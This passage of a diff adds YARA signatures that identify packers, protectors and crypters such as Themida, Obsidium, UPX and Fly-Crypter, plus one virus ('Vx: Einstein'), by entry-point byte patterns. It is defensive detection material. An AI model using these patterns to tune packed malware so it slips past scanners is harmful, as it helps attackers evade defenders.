+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13017__Obsidium_software_
+{
+	meta:
+		description = "Obsidium 1.3.0.17 -> Obsidium software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Stones_PE_Encryptor_20__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Stone's PE Encryptor 2.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 00 FF 95 32 35 40 00 B8 37 30 40 00 03 C5 2B 85 1B 34}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 00 FF 95 32 35 40 00 B8 37 30 40 00 03 C5 2B 85 1B 34 40 00 89 85 27 34 40 00 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtect_109g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect 1.09g -> Risco software Inc."
+	strings:
+		$0 = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+		$1 = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Rpoly_crypt_by_Vaska_200307_1841_
+{
+	meta:
+		description = "Rpoly crypt by Vaska (20.03.07 18:41)"
+	strings:
+		$0 = {58 ?? ?? ?? ?? ?? ?? ?? E8 00 00 00 58 E8 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? 04}
+		$1 = {58 ?? ?? ?? ?? ?? ?? ?? E8 00 00 00 58 E8 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? 04}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXECryptor_V2X__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor V2.X -> SoftComplete Developement"
+	strings:
+		$0 = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MINI_COM_
+{
+	meta:
+		description = "MINI [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 46 8B C4 2D 24 03 90 25 F0 FF 8B F8 B9 92 00 90 BE 6C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 00 4D 49 4E 49 20 28 43 29 20 76 31 2E 30 31 20 62 79 20 41 6C 62 65 72 74 20 53 65 6E 20 31 39 39 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v5_
+{
+	meta:
+		description = "Inno Setup Module v5"
+	strings:
+		$0 = {55 8B EC 83 C4 CC 53 56 57 33 C0 89 45 F0 89 45 DC E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? F3 FF FF E8 ?? F4 FF FF 33 C0 55}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.2.0.1 -> Oreans Technologies"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+		$1 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 11 02 00 00 00 00 00}
+		$2 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _ExeSafeguard_10__simonzh_h_
+{
+	meta:
+		description = "ExeSafeguard 1.0 -> simonzh (h)"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+	condition:
+		$0 at entrypoint
+}
+rule _mkfpack__llydd_
+{
+	meta:
+		description = "mkfpack -> llydd"
+	strings:
+		$0 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+		$1 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08}
+		$2 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _SLVc0deProtector_11__SLV_h_
+{
+	meta:
+		description = "SLVc0deProtector 1.1 -> SLV (h)"
+	strings:
+		$0 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _FlyCrypter_10__ut1lz_
+{
+	meta:
+		description = "Fly-Crypter 1.0 -> ut1lz"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB}
+		$1 = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+		$2 = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0"
+	strings:
+		$0 = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V028_DLL__shoooo_
+{
+	meta:
+		description = "KByS V0.28 DLL -> shoooo"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+		$1 = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Themida_10xx__1800_compressed_engine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+		$2 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01_CodeLock_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Code-Lock"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+		$1 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1110__Nooby___20081228_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.1.0 -> Nooby  * 20081228"
+	strings:
+		$0 = {E9 18 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 31 2E 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_3031_COM_
+{
+	meta:
+		description = "Protect! 3.0/3.1 [COM]"
+	strings:
+		$0 = {50 1E 06 0E 55 0E 1F 33 C0 8E C0 FA FC 26 A1 04 00 50 26 A1 06 00 50 26 A1 0C 00 50 26 A1 0E 00 50 8C C8 26 A3 06 00 26 C7 06 04 00 00 00 26 A3 0E 00 26 C7 06 0C 00 00 00 FB CD 01}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v30_EXE_LZMA__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00 57 83 C3 04 53 68 ?? ?? ?? 00 56}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__4_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #4"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+		$1 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60__
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 (×Ô¶¨ÒåÈë¿Úµã)"
+	strings:
+		$0 = {6A ?? FF 15 ?? 20 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 90 90 90 90 90 ?? EC}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v0b_
+{
+	meta:
+		description = "PE Spin v0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+		$2 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v032a_fake_EXE32Pack_13x__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake EXE32Pack 1.3x) -> emadicius"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_4x__LCC_Win32_1x_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+		$1 = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_Patch_
+{
+	meta:
+		description = "Upack_Patch"
+	strings:
+		$0 = {81 3A 00 00 00 02 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Gardian_Angel_10_
+{
+	meta:
+		description = "Gardian Angel 1.0"
+	strings:
+		$0 = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+		$1 = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nBinder_v361_
+{
+	meta:
+		description = "nBinder v3.6.1"
+	strings:
+		$0 = {6E 73 70 61 63 6B 24 40}
+		$1 = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _XCompXPack_V097V098__JoKo____20080218_
+{
+	meta:
+		description = "XComp/XPack V0.97-V0.98 -> JoKo   * 20080218"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 9C 60 E8 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [UPX 0.6] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2000__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.000 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 70 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v167_
+{
+	meta:
+		description = "PECompact v1.67"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AinEXE_222_
+{
+	meta:
+		description = "AinEXE 2.22"
+	strings:
+		$0 = {A1 02 00 2D E1 0B 8E D0 BC 00 BE 8C D8 36 A3 00 BE 05 10 00 36 A3 02 BE 2E A1 0E 00 8A D4 B1 04 D2 EA D3 E0 8C D3 36 8B 2E 02 BE 2E 03 2E 0E 00 FD FE CA 78 17 81 ED 00 10 80 EF 10 8E DD 8E C3 BE FE FF 8B FE B9 00 80 F3 A5 EB E5 8B F0 B9 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_110_beta_3_
+{
+	meta:
+		description = "PECompact 1.10 beta 3"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 95 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 BB 95 0A 00 00 03 9D 99 60 40 00 03 9D 95 60 40 00 53 53 53 58 2D 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Einstein_
+{
+	meta:
+		description = "Vx: Einstein"
+	strings:
+		$0 = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+	condition:
+		$0 at entrypoint
+}
+rule _SCRAM_v08a1_
+{
+	meta:
+		description = "SCRAM! v0.8a1"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _ReversingLabsProtector_074_beta__Ap0x_
+{
+	meta:
+		description = "ReversingLabsProtector 0.7.4 beta -> Ap0x"
+	strings:
+		$0 = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+		$1 = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1363__Obsidium_Software__20080730_
+{
+	meta:
+		description = "Obsidium V1.3.6.3 -> Obsidium Software * 20080730"
+	strings:
+		$0 = {EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? E8 ?? 00 00 00 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 26 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 33 C0 EB 02 ?? ?? 64 FF 30 EB 01 ?? 64 89 20 EB 01 ?? EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 ?? 00 00 00 EB 03 ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MetaWare_High_C_RunTime_Library_p_Phar_Lap_DOS_Extender_198389_
+{
+	meta:
+		description = "MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89"
+	strings:
+		$0 = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_I__mucki_
+{
+	meta:
+		description = "mucki's protector I -> mucki"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+		$1 = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_DLL_
+{
+	meta:
+		description = "Borland Delphi DLL"
+	strings:
